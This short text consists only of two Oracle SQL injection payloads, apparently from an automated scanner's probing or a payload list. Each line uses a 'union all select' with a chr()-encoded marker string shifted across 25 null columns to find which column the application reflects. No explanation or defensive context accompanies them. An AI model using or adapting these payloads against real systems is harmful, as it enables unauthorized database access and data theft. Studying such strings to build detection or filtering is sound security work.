s and 1=2 union all select chr(52)||chr(52)||chr(49)||chr(49)||chr(53),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from dual--
s and 1=2 union all select null,chr(52)||chr(52)||chr(49)||chr(49)||chr(53),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from dual--